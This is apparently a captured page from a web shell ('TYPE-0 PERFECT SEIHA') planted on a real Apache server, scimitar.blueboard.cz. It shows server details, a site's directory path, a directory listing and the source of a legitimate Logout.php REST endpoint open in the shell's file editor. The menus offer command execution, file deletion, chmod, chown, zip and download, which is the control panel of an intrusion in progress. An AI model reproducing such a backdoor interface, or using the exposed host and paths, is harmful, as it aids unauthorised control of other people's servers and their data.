TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
2
root
app
RestTrush
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/2/root/app/RestTrush/Logout.php
<?php /** * Copyright (c) Jan Pospisil (http://www.jan-pospisil.cz) */ namespace Rest; use Nette\Database\Context; use RestServer\IHttpRequest; use RestServer\IIdentity; use RestServer\IParametrs; use RestServer\IPresenter; use RestServer\Response; use Nette\Http\Request; use Nette\Security\User; /** * Logout, access token is required. * @author Jan Pospisil * @param ( * name = logout_all_devices, * type = bool * ) */ class Logout extends \Nette\Object implements IPresenter { private $identity; private $connection; public function __construct(IIdentity $identity, Context $context){ $this->identity = $identity; $this->connection = $context; } /** * Logout user. * @param IParametrs $request * @param Response $response */ public function run(IParametrs $request, Response $response) { $logoutAllDevices = $request->get('logout_all_devices'); $id = $this->identity->getId(); $at = $this->identity->getAccessTokenRow(); if($at){ $at->delete(); } if($logoutAllDevices){ $this->connection->table('user_access_token')->where('user_id', $id)->delete(); } } }
Crotin
Name
Size
Permissions
Modified
User/Group
AddActivity.php
1890
0644
2016-04-16 10:22:21
Unknown/Unknown
Me.php
1151
0644
2016-04-16 10:22:19
Unknown/Unknown
ForgottenPassword.php
3131
0644
2016-04-16 10:22:24
Unknown/Unknown
Options.php
384
0644
2016-04-16 10:22:13
Unknown/Unknown
User.php
1499
0644
2016-04-16 10:22:15
Unknown/Unknown
Login.php
2874
0644
2016-04-16 10:22:22
Unknown/Unknown
Logout.php
1125
0644
2016-04-16 10:22:21
Unknown/Unknown
ResetPassword.php
3062
0644
2016-04-16 10:22:16
Unknown/Unknown
Users.php
1491
0644
2016-04-16 10:22:21
Unknown/Unknown
Search
-
0755
2016-04-16 10:22:34
Unknown/Unknown
Account
-
0755
2016-04-16 10:22:35
Unknown/Unknown
Dictionary
-
0755
2016-04-16 10:22:38
Unknown/Unknown
CreateRequest.php
2881
0644
2016-04-16 10:22:24
Unknown/Unknown
Url
-
0755
2016-04-16 10:22:33
Unknown/Unknown
Video
-
0755
2016-04-16 10:22:34
Unknown/Unknown
FindUsername.php
1344
0644
2016-04-16 10:22:22
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin